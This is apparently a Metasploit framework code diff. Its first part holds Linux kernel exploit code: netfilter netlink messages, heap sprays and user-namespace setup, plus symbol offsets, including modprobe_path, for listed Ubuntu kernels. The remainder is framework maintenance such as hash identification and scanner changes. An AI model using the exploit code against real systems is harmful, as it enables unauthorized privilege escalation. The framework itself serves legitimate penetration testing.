attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr));
attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE);
set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE);
/* Last netlink message: End of batch */
nlh_batch_end = get_batch_end_nlmsg();
/* Setup the iovec */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh_payload;
iov[1].iov_len = nlh_payload->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;
/* Prepare the message to send */
memset(&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;
/* Send message */
sendmsg(sock, &msg, 0);
/* Free allocated memory */
free(nlh_batch_end);
free(nlh_payload);
free(nlh_batch_begin);
}
@@ -0,0 +1,53 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mount.h>
#include "log.h"
#include "simple_xattr.h"
/**
* spray_simple_xattr(): Spray the heap with `simple_xattr` objects
* @spray_size: Number of objects to put into `kmalloc-64`
*/
void spray_simple_xattr(char *filename, uint32_t spray_size) {
char attribute_name[ATTRIBUTE_NAME_LEN];
/* Mount a new tmpfs to be able to set security xattr */
if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
{
do_error_exit("mkdir");
}
if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1)
{
do_error_exit("mount");
}
/* Create a file to the set attributes */
int fd = creat(filename, 0644);
close(fd);
for (uint64_t i = 0; i < spray_size; i++) {
/* Need that the name is allocated within `kmalloc-256` */
snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME);
create_xattr(filename, attribute_name);
}
}
/**
* create_xattr(): Add an xattribute to a file with the value "value"
* @filename: Name of the concerned file
* @attribute_name: Attribute name
*/
void create_xattr(const char *filename, char *attribute_name) {
if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0)
do_error_exit("setxattr");
}
+46
View File
@@ -0,0 +1,46 @@
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <syscall.h>
#include <linux/io_uring.h>
#include "uring.h"
#include "log.h"
#include "util.h"
/**
* spray_uring(): Spray different caches of the kernel heap
* @spray_size: Size to spray
* @fd_buffer: Buffer used to store information about the allocated objects
*
* This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects
*/
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
for (uint64_t i = 0; i < spray_size; i++) {
fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
if (!fd_buffer[i].params)
do_error_exit("malloc");
memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
if (fd_buffer[i].fd < 0)
do_error_exit("io_uring_create");
}
}
/**
* release_uring(): Release percpu_ref_data objects allocated
* @fd_buffer: Buffer that stores io_ring_ctx fds
* @buffer_size: Size of the previous buffer
*/
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {
for (uint32_t i = 0; i < buffer_size; i++) {
close(fd_buffer[i].fd);
}
free(fd_buffer);
}
+198
View File
@@ -0,0 +1,198 @@
#define _GNU_SOURCE
#include <stdint.h>
#include <stdlib.h>
#include <sched.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <sys/utsname.h>
#include "log.h"
#include "util.h"
struct kernel_info kernels[] = {
/*
* The structure is declared as:
* struct kernel_info {
* const char* kernel_version;
* uint64_t io_ring_ctx_ref_free;
* uint64_t io_rsrc_node_ref_zero;
* uint64_t modprobe_path;
* };
* The last three fields are the offsets of the corresponding symbols
*/
// 22.04 LTS
{ "5.15.0-24-lowlatency #24-Ubuntu", 0x3e68a0, 0x3e7690, 0x1e8c320 },
{ "5.15.0-25-generic #25-Ubuntu", 0x3dda20, 0x3de520, 0x1e8b3a0 },
{ "5.15.0-27-generic #28-Ubuntu", 0x3ddaf0, 0x3de5f0, 0x1e8b320 },
{ "5.15.0-27-lowlatency #28-Ubuntu", 0x3e6970, 0x3e7760, 0x1e8c2a0 },
{ "5.15.0-30-generic #31-Ubuntu", 0x3dea40, 0x3df540, 0x1e8b460 },
{ "5.15.0-30-lowlatency #31-Ubuntu", 0x3e78b0, 0x3e86a0, 0x1e8c3e0 },
{ "5.15.0-33-generic #34-Ubuntu", 0x3dea40, 0x3df540, 0x1e8b460 },
{ "5.15.0-33-lowlatency #34-Ubuntu", 0x3e78c0, 0x3e86b0, 0x1e8c3e0 },
{ "5.15.0-35-generic #36-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b560 },
{ "5.15.0-35-lowlatency #36-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c4e0 },
{ "5.15.0-37-generic #39-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b560 },
{ "5.15.0-37-lowlatency #39-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c4e0 },
{ "5.15.0-39-generic #42-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
{ "5.15.0-39-lowlatency #42-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c5a0 },
{ "5.15.0-40-generic #43-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
{ "5.15.0-40-lowlatency #43-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c5a0 },
{ "5.15.0-41-generic #44-Ubuntu", 0x3e00a0, 0x3e0b90, 0x1e8b660 },
{ "5.15.0-41-lowlatency #44-Ubuntu", 0x3e8f70, 0x3e9d50, 0x1e8c5e0 },
// Ubuntu 20.04.4 LTS
{ "5.11.0-41-generic #45~20.04.1-Ubuntu", 0x37db60, 0x389a80, 0x1c6c2e0 },
{ "5.11.0-44-generic #48~20.04.2-Ubuntu", 0x37de70, 0x389a90, 0x1c6c2e0 },
{ "5.13.0-25-generic #26~20.04.1-Ubuntu", 0x389270, 0x389f50, 0x1e6e0a0 },
{ "5.13.0-27-generic #29~20.04.1-Ubuntu", 0x389280, 0x389f50, 0x1e6e0a0 },
{ "5.13.0-30-generic #33~20.04.1-Ubuntu", 0x389740, 0x38a700, 0x1e6e220 },
{ "5.13.0-35-generic #40~20.04.1-Ubuntu", 0x389740, 0x38a700, 0x1e6e220 },
{ "5.13.0-37-generic #42~20.04.1-Ubuntu", 0x389ef0, 0x38b1b0, 0x1e6e220 },
{ "5.13.0-39-generic #44~20.04.1-Ubuntu", 0x389ef0, 0x38b400, 0x1e6e220 },
// Ubuntu 21.10
{ "5.13.0-27-generic #29-Ubuntu", 0x390b70, 0x391470, 0x1e6e0a0 },
{ "5.13.0-30-generic #33-Ubuntu", 0x390d80, 0x391680, 0x1e6e220 },
{ "5.13.0-35-generic #40-Ubuntu", 0x390d80, 0x391680, 0x1e6e220 },
{ "5.13.0-37-generic #42-Ubuntu", 0x391440, 0x391d40, 0x1e6e220 },
{ "5.13.0-37-lowlatency #42-Ubuntu", 0x39a660, 0x39af10, 0x1e6f1a0 },
{ "5.13.0-40-generic #45-Ubuntu", 0x3919d0, 0x3922d0, 0x1e6e220 },
};
/**
* write_file(): Write a string into a file
* @filename: File to write
* @text: Text to write
*/
void write_file(const char *filename, char *text) {
int fd = open(filename, O_RDWR);
write(fd, text, strlen(text));
close(fd);
}
/**
* new_ns(): Change the current namespace to access to netfilter and
* to be able to write security xattr in a tmpfs
*/
void new_ns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];
if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
if (unshare(CLONE_NEWNET))
do_error_exit("unshare(CLONE_NEWNET)");
write_file("/proc/self/setgroups", "deny");
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
write_file("/proc/self/uid_map", buffer);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
write_file("/proc/self/gid_map", buffer);
}
/**
* set_cpu_affinity(): Pin a process to a CPU
* @cpu_n: CPU to use
* @pid: pid of the process to attach
*/
void set_cpu_affinity(int cpu_n, pid_t pid) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu_n, &set);
if (sched_setaffinity(pid, sizeof(set), &set) < 0)
do_error_exit("sched_setaffinity");
}
/**
* generate_table_name(): Generate a name for a netfilter table
* @table_name: Buffer used to store the new name
*/
void generate_table_name(char table_name[8]) {
static int attempt = 0;
snprintf(table_name, 8, "t%d", attempt);
attempt++;
}
/**
* generate_tmp_filename(): Generate a filename to be used with
* the xattr spray
*
* Return: New generated filename
*/
char *generate_tmp_filename(void) {
static char buffer[FILENAME_MAX_LEN];
static uint64_t counter = 0;
snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter);
counter++;
return buffer;
}
/**
* get_kernel_version(): Returns the kernel version string.
* Return: a pointer to a struct utsname returned by the uname POSIX function
*/
struct utsname* get_kernel_version() {
struct utsname* u = (struct utsname*) malloc(sizeof(struct utsname));
int rv = uname(u);
if (rv != 0) {
do_error_exit("uname");
}
return u;
}
// Will be overwritten by detect_versions
int kernel = -1;
/**
* detect_versions(): Returns 0, and sets kernel if the exploit
* has the offsets needed to exploit the running kernel
* Return: 0 if the offsets are available, -1 otherwise
*/
int detect_versions() {
struct utsname* u;
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
if (strstr(u->machine, "64") == NULL) {
printf("[-] system is not using a 64-bit kernel\n");
free(u);
return -1;
}
if (strstr(u->version, "-Ubuntu") == NULL) {
printf("[-] system is not using an Ubuntu kernel\n");
free(u);
return -1;
}
char *u_ver = strtok(u->version, " ");
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u->release,
u_ver);
free(u);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
printf("[+] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return 0;
}
}
printf("[-] kernel version '%s' not recognized\n", kernel_version);
return -1;
}
+27
View File
@@ -0,0 +1,27 @@
{
// Example file to showcase how to debug Metasploit using the ruby/debug gem along with the
// ruby/vscode-rdbg VSCode plugin. This file will be used by VSCode and the ruby/vscode-rdbg
// plugin to figure out how to connect to setup the rdbg instance for msfconsole and then connect
// to it properly, allowing you to debug Metasploit and more specifically msfconsole and any associated
// modules that you run within it.
"version": "0.2.0",
"configurations": [
{
"type": "rdbg",
"name": "Debug current file with rdbg",
"request": "launch",
"script": "${cwd}/msfconsole",
"args": [],
"askParameters": true,
"localfs": true,
"debugPort": "127.0.0.1:55634"
},
{
"type": "rdbg",
"name": "Attach with rdbg",
"request": "attach",
"localfs": true,
"debugPort": "127.0.0.1:55634"
}
]
}
+129
View File
@@ -0,0 +1,129 @@
module Metasploit
module Framework
# This module contains utilities for hashes, including one to identify them
# Resource list:
# https://code.google.com/archive/p/hash-identifier/
# https://github.com/psypanda/hashID
# https://hashcat.net/wiki/doku.php?id=example_hashes
# http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
# https://openwall.info/wiki/john/sample-hashes
# QNX formats -> https://moar.so/blog/qnx-password-hash-formats.html
# rubocop:disable Metrics/ModuleLength
module Hashes
JTR_NTLMV1 = 'netntlm'.freeze
JTR_NTLMV2 = 'netntlmv2'.freeze
def self.identify_hash(hash)
# @param [str] a string of a hashed password
# @return [String] the jtr type or empty string on no match
hash = hash.to_s.strip
case
# operating systems
when hash.start_with?('$1$') && hash.length == 34
return 'md5'
when hash.start_with?('$2$') && hash.length == 59,
hash.start_with?('$2a$') && hash.length == 60,
hash.start_with?('$2b$') && hash.length == 60,
hash.start_with?('$2x$') && hash.length == 60,
hash.start_with?('$2y$') && hash.length == 60
return 'bf' # bcrypt
when hash.start_with?('$5$') && hash.split('$').last.length == 43
# we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number
return 'sha256,crypt'
when hash.start_with?('$6$') && hash.split('$').last.length == 86
# we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number
return 'sha512,crypt'
when hash.start_with?('@S@') && hash.length == 148
return 'qnx,sha512'
when hash.start_with?('@s@') && hash.length == 84
return 'qnx,sha256'
when hash.start_with?('@m@') && hash.length == 52
return 'qnx,md5'
when hash.start_with?('$y$') && hash.split('$').last.length == 43
return 'yescrypt'
when hash.start_with?('_') && hash.length == 20
return 'des,bsdi,crypt'
when hash =~ %r{^[./\dA-Za-z]{13}$} # hash.length == 13
return 'des,crypt'
when hash =~ /^\$dynamic_82\$[\da-f]{128}\$HEX\$[\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108
return 'dynamic_82'
when hash.start_with?(/{SSHA}/i)
return 'ssha'
when hash.start_with?(/{SHA512}/i)
return 'raw-sha512'
when hash.start_with?(/{SHA256}/i)
return 'raw-sha256'
when hash.start_with?(/{SHA}/i)
return 'raw-sha1'
when hash.start_with?(/{MD5}/i)
return 'raw-md5'
when hash.start_with?(/{SMD5}/i)
return 'smd5'
when hash.start_with?(/{SSHA256}/i)
return 'ssha256'
when hash.start_with?(/{SSHA512}/i)
return 'ssha512'
# windows
when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'
return 'nt'
when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/
return 'lm'
# OSX
when hash.start_with?('$ml$') && hash.split('$').last.length == 256
return 'pbkdf2-hmac-sha512,osx' # 10.8+
when hash =~ /^[\da-fA-F]{48}$/ # hash.length == 48
return 'xsha,osx' # 10.4-10.6
# databases
when hash.start_with?('0x0100') && hash.length == 54
return 'mssql05'
when hash.start_with?('0x0100') && hash.length == 94
return 'mssql'
when hash.start_with?('0x0200') && hash.length == 142
return 'mssql12'
when hash =~ /^[\da-f]{16}$/ # hash.length == 16
return 'mysql' # mysql323 (pre 4.1)
when hash.start_with?('*') && hash.length == 41
return 'mysql-sha1' # mysql 4.1+
when hash.start_with?('md5') && hash.length == 35
return 'postgres'
when hash =~ /^[\da-fA-F]{16}$/
return 'des,oracle' # pre 11g
when hash =~ /^S:[\dA-F]{60}$/
return 'raw-sha1,oracle11'
when hash =~ /^S:[\dA-F]{60};H:[\dA-F]{32};T:[\dA-F]{160}$/
return 'raw-sha1,oracle'
when hash =~ /^H:[\dA-F]{32};T:[\dA-F]{160}$/
return 'pbkdf2,oracle12c'
# webapps
when hash.start_with?('$P$') && hash.length == 34,
hash.start_with?('$H$') && hash.length == 34
return 'phpass' # wordpress, drupal, phpbb3 (H not P)
when hash.start_with?('$ml$') && hash.length == 203
return 'PBKDF2-HMAC-SHA512'
when hash.start_with?('{PKCS5S2}') && hash.length == 73
return 'PBKDF2-HMAC-SHA1'
when hash.start_with?('$B$') && hash.split('$').last.length == 32
return 'mediawiki'
# mobile
when hash =~ /^[A-F0-9]{40}:[a-f0-9]{16}$/
return 'android-sha1'
when hash =~ /^[A-F0-9]{32}:[a-f0-9]{16}$/
return 'android-md5'
# other
when hash =~ /^<\d+@.+?>#\w{32}$/
return 'hmac-md5'
when hash.length == 114 && hash.start_with?('$M$')
return 'F5-Secure-Vault'
when hash =~ /^M\$[[:print:]]+#[\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/
return 'mscash'
when hash =~ /^\$DCC2\$\d+#[[:print:]]+#[\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/
return 'mscash2'
when hash =~ /^\*?[\da-fA-F]{32}\*[\da-fA-F]{32}$/
# we accept the beginning star as optional
return 'vnc'
end
''
end
# rubocop:enable Metrics/ModuleLength
end
end
end
-124
View File
@@ -1,124 +0,0 @@
# This method takes a {str}, and attempt to determine what type
# of hash it is, and returns a cred:jtr formatted string.
#
# @param [str] a string of a hashed password
# @return [String] the jtr type or empty string on no match
# Resource list:
# https://code.google.com/archive/p/hash-identifier/
# https://github.com/psypanda/hashID
# https://hashcat.net/wiki/doku.php?id=example_hashes
# http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
# https://openwall.info/wiki/john/sample-hashes
# QNX formats -> https://moar.so/blog/qnx-password-hash-formats.html
JTR_NTLMV1 = 'netntlm'
JTR_NTLMV2 = 'netntlmv2'
def identify_hash(hash)
hash = hash.to_s.strip
case
# operating systems
when hash.start_with?('$1$') && hash.length == 34
return 'md5'
when hash.start_with?('$2$') && hash.length == 59,
hash.start_with?('$2a$') && hash.length == 60,
hash.start_with?('$2b$') && hash.length == 60,
hash.start_with?('$2x$') && hash.length == 60,
hash.start_with?('$2y$') && hash.length == 60
return 'bf' # bcrypt
when hash.start_with?('$5$') && hash.split('$').last.length == 43
# we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number
return 'sha256,crypt'
when hash.start_with?('$6$') && hash.split('$').last.length == 86
# we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number
return 'sha512,crypt'
when hash.start_with?('@S@') && hash.length == 148
return 'qnx,sha512'
when hash.start_with?('@s@') && hash.length == 84
return 'qnx,sha256'
when hash.start_with?('@m@') && hash.length == 52
return 'qnx,md5'
when hash.start_with?('_') && hash.length == 20
return 'des,bsdi,crypt'
when hash =~ %r{^[./\dA-Za-z]{13}$} # hash.length == 13
return 'des,crypt'
when hash =~ /^\$dynamic_82\$[\da-f]{128}\$HEX\$[\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108
return 'dynamic_82'
when hash.start_with?(/{SSHA}/i)
return 'ssha'
when hash.start_with?(/{SHA512}/i)
return 'raw-sha512'
when hash.start_with?(/{SHA256}/i)
return 'raw-sha256'
when hash.start_with?(/{SHA}/i)
return 'raw-sha1'
when hash.start_with?(/{MD5}/i)
return 'raw-md5'
when hash.start_with?(/{SMD5}/i)
return 'smd5'
when hash.start_with?(/{SSHA256}/i)
return 'ssha256'
when hash.start_with?(/{SSHA512}/i)
return 'ssha512'
# windows
when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'
return 'nt'
when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/
return 'lm'
# OSX
when hash.start_with?('$ml$') && hash.split('$').last.length == 256
return 'pbkdf2-hmac-sha512,osx' # 10.8+
when hash =~ /^[\da-fA-F]{48}$/ # hash.length == 48
return 'xsha,osx' # 10.4-10.6
# databases
when hash.start_with?('0x0100') && hash.length == 54
return 'mssql05'
when hash.start_with?('0x0100') && hash.length == 94
return 'mssql'
when hash.start_with?('0x0200') && hash.length == 142
return 'mssql12'
when hash =~ /^[\da-f]{16}$/ # hash.length == 16
return 'mysql' # mysql323 (pre 4.1)
when hash.start_with?('*') && hash.length == 41
return 'mysql-sha1' # mysql 4.1+
when hash.start_with?('md5') && hash.length == 35
return 'postgres'
when hash =~ /^[\da-fA-F]{16}$/
return 'des,oracle' # pre 11g
when hash =~ /^S:[\dA-F]{60}$/
return 'raw-sha1,oracle11'
when hash =~ /^S:[\dA-F]{60};H:[\dA-F]{32};T:[\dA-F]{160}$/
return 'raw-sha1,oracle'
when hash =~ /^H:[\dA-F]{32};T:[\dA-F]{160}$/
return 'pbkdf2,oracle12c'
# webapps
when hash.start_with?('$P$') && hash.length == 34,
hash.start_with?('$H$') && hash.length == 34
return 'phpass' # wordpress, drupal, phpbb3 (H not P)
when hash.start_with?('$ml$') && hash.length == 203
return 'PBKDF2-HMAC-SHA512'
when hash.start_with?('{PKCS5S2}') && hash.length == 73
return 'PBKDF2-HMAC-SHA1'
when hash.start_with?('$B$') && hash.split('$').last.length == 32
return 'mediawiki'
# mobile
when hash =~ /^[A-F0-9]{40}:[a-f0-9]{16}$/
return 'android-sha1'
when hash =~ /^[A-F0-9]{32}:[a-f0-9]{16}$/
return 'android-md5'
# other
when hash =~ /^<\d+@.+?>#\w{32}$/
return 'hmac-md5'
when hash.length == 114 && hash.start_with?('$M$')
return 'F5-Secure-Vault'
when hash =~ /^M\$[[:print:]]+#[\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/
return 'mscash'
when hash =~ /^\$DCC2\$\d+#[[:print:]]+#[\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/
return 'mscash2'
when hash =~ /^\*?[\da-fA-F]{32}\*[\da-fA-F]{32}$/
# we accept the beginning star as optional
return 'vnc'
end
''
end
+18 -1
View File
@@ -15,6 +15,7 @@ module Metasploit
DEFAULT_REALM = nil
DEFAULT_PORT = 80
DEFAULT_SSL_PORT = 443
DEFAULT_HTTP_SUCCESS_CODES = [ 200, 201 ].append(*(300..309))
LIKELY_PORTS = [ 80, 443, 8000, 8080 ]
LIKELY_SERVICE_NAMES = [ 'http', 'https' ]
PRIVATE_TYPES = [ :password ]
@@ -177,6 +178,12 @@ module Metasploit
# @return [String]
attr_accessor :http_password
# @!attribute http_success_codes
# @return [Array][Int] list of valid http response codes
attr_accessor :http_success_codes
validate :validate_http_codes
validates :uri, presence: true, length: { minimum: 1 }
@@ -294,7 +301,7 @@ module Metasploit
begin
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
if response && response.code == 200
if response && http_success_codes.include?(response.code)
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
rescue Rex::ConnectionError => e
@@ -365,6 +372,7 @@ module Metasploit
self.connection_timeout ||= 20
self.uri = '/' if self.uri.blank?
self.method = 'GET' if self.method.blank?
self.http_success_codes = DEFAULT_HTTP_SUCCESS_CODES if self.http_success_codes.nil?
# Note that this doesn't cover the case where ssl is unset and
# port is something other than a default. In that situtation,
@@ -396,6 +404,15 @@ module Metasploit
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
end
private
def validate_http_codes
errors.add(:http_success_codes, "HTTP codes must be an Array") unless @http_success_codes.is_a?(Array)
@http_success_codes.each do |code|
next if code >= 200 && code < 400
errors.add(:http_success_codes, "Invalid HTTP code provided #{code}")
end
end
end
end
end
@@ -128,11 +128,13 @@ module Metasploit
else
status = Metasploit::Model::Login::Status::INCORRECT
end
rescue ::Rex::ConnectionError, Errno::EINVAL, RubySMB::Error::NetBiosSessionService => e
rescue ::Rex::ConnectionError, Errno::EINVAL, RubySMB::Error::NetBiosSessionService, RubySMB::Error::NegotiationFailure, RubySMB::Error::CommunicationError => e
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
proof = e
rescue RubySMB::Error::UnexpectedStatusCode => e
rescue RubySMB::Error::UnexpectedStatusCode => _e
status = Metasploit::Model::Login::Status::INCORRECT
rescue RubySMB::Error::RubySMBError => _e
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
ensure
client.disconnect! if client
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.16"
VERSION = "6.2.23"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+15 -3
View File
@@ -555,7 +555,11 @@ class ReadableText
])
mod.options.sorted.each do |name, opt|
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
val = mod.datastore[name]
else
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
end
next unless Msf::OptCondition.show_option(mod, opt)
next if (opt.advanced?)
@@ -603,7 +607,11 @@ class ReadableText
mod.options.sorted.each do |name, opt|
next unless opt.advanced?
next unless Msf::OptCondition.show_option(mod, opt)
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
val = mod.datastore[name]
else
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
end
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end
@@ -628,7 +636,11 @@ class ReadableText
mod.options.sorted.each do |name, opt|
next unless opt.evasion?
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
val = mod.datastore[name]
else
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
end
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end
+72
View File
@@ -0,0 +1,72 @@
# -*- coding: binary -*-
module Msf
module Sessions
###
#
# This class provides the ability to receive a custom stage callback
#
###
class Custom
#
# This interface supports basic interaction.
#
include Msf::Session
include Msf::Session::Basic
attr_accessor :arch
attr_accessor :platform
#
# Returns the type of session.
#
def self.type
"custom"
end
def initialize(rstream, opts = {})
super
self.platform ||= ""
self.arch ||= ""
datastore = opts[:datastore]
end
def self.create_session(rstream, opts = {})
Msf::Sessions::Custom.new(rstream, opts)
end
def process_autoruns(datastore)
cleanup
end
def cleanup
print_good("Custom stage sent; session has been closed")
if rstream
# this is also a best-effort
rstream.close rescue nil
rstream = nil
end
end
#
# Returns the session description.
#
def desc
"Custom"
end
def self.can_cleanup_files
false
end
#
# Calls the class method
#
def type
self.class.type
end
end
end
end
+1 -2
View File
@@ -259,11 +259,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
@shell = nil
end
def shell_command(cmd)
def shell_command(cmd, timeout = 5)
# Send the shell channel's stdin.
shell_write(cmd + "\n")
timeout = 5
etime = ::Time.now.to_f + timeout
buff = ""
@@ -31,20 +31,19 @@ module Msf::Sessions
'SSH command shell'
end
def shell_command(cmd)
def shell_command(cmd, timeout = 5)
# Send the command to the session's stdin.
shell_write(cmd + "\n")
timeo = 0.5
etime = ::Time.now.to_f + timeo
buff = ''
etime = ::Time.now.to_f + timeout
buff = ""
# Keep reading data until no more data is available or the timeout is
# reached.
while ((::Time.now.to_f < etime) && ::IO.select([rstream.fd_rd], nil, nil, timeo))
while ::Time.now.to_f < etime && ::IO.select([rstream.fd_rd], nil, nil, timeout)
res = shell_read(-1, 0.01)
buff << res if res
timeo = etime - ::Time.now.to_f
timeout = etime - ::Time.now.to_f
end
buff
+6
View File
@@ -63,6 +63,8 @@ module Buffer
buf = Rex::Text.encode_base64(buf)
when 'go','golang'
buf = Rex::Text.to_golang(buf)
when 'nim','nimlang'
buf = Rex::Text.to_nim(buf)
else
raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller
end
@@ -97,6 +99,8 @@ module Buffer
buf = Rex::Text.to_psh_comment(buf)
when 'go','golang'
buf = Rex::Text.to_golang_comment(buf)
when 'nim','nimlang'
buf = Rex::Text.to_nim_comment(buf)
else
raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller
end
@@ -122,6 +126,8 @@ module Buffer
'java',
'js_be',
'js_le',
'nim',
'nimlang',
'num',
'perl',
'pl',
+3 -3
View File
@@ -1,6 +1,6 @@
# -*- coding: binary -*-
require 'metasploit/framework/hashes/identify'
require 'metasploit/framework/hashes'
module Msf
###
@@ -123,7 +123,7 @@ module Msf
cred[:jtr_format] = ''
else
output << " and Hash: #{hash}"
cred[:jtr_format] = identify_hash(hash)
cred[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(hash)
end
cred[:username] = name
@@ -154,7 +154,7 @@ module Msf
cred[:jtr_format] = ''
else
output << " with Hash: #{hash}"
cred[:jtr_format] = identify_hash(hash)
cred[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(hash)
end
cred[:private_data] = hash.to_s
+4 -4
View File
@@ -1,6 +1,6 @@
# -*- coding: binary -*-
require 'metasploit/framework/hashes/identify'
require 'metasploit/framework/hashes'
module Msf
###
@@ -63,7 +63,7 @@ module Msf
shell = result[3].strip
cred = credential_data.dup
cred[:username] = username
cred[:jtr_format] = identify_hash(hash)
cred[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(hash)
cred[:private_data] = hash
create_credential_and_login(cred)
print_good("#{thost}:#{tport} Username '#{username}' with description '#{description}' and shell #{shell} with hash #{hash}")
@@ -166,7 +166,7 @@ module Msf
file = result[2].strip
cred = credential_data.dup
cred[:username] = username
cred[:jtr_format] = identify_hash(hash)
cred[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(hash)
cred[:private_data] = hash
create_credential_and_login(cred)
print_good("#{thost}:#{tport} SSL Key '#{username}' and hash #{hash} for #{file}")
@@ -185,7 +185,7 @@ module Msf
key = result[1].strip
cred = credential_data.dup
cred[:username] = "F5 #{key_type} hash"
cred[:jtr_format] = identify_hash(key) # will come bacy empty
cred[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(key) # will come bacy empty
cred[:private_data] = key
create_credential_and_login(cred)
print_good("#{thost}:#{tport} F5 #{key_type} hash #{key}")
+4 -4
View File
@@ -1,6 +1,6 @@
# -*- coding: binary -*-
require 'metasploit/framework/hashes/identify'
require 'metasploit/framework/hashes'
module Msf
###
@@ -177,7 +177,7 @@ module Msf
# }
if /root-authentication\s+\{\s+encrypted-password "(?<root_hash>[^"]+)";/i =~ config
root_hash = root_hash.strip
jtr_format = identify_hash root_hash
jtr_format = Metasploit::Framework::Hashes.identify_hash root_hash
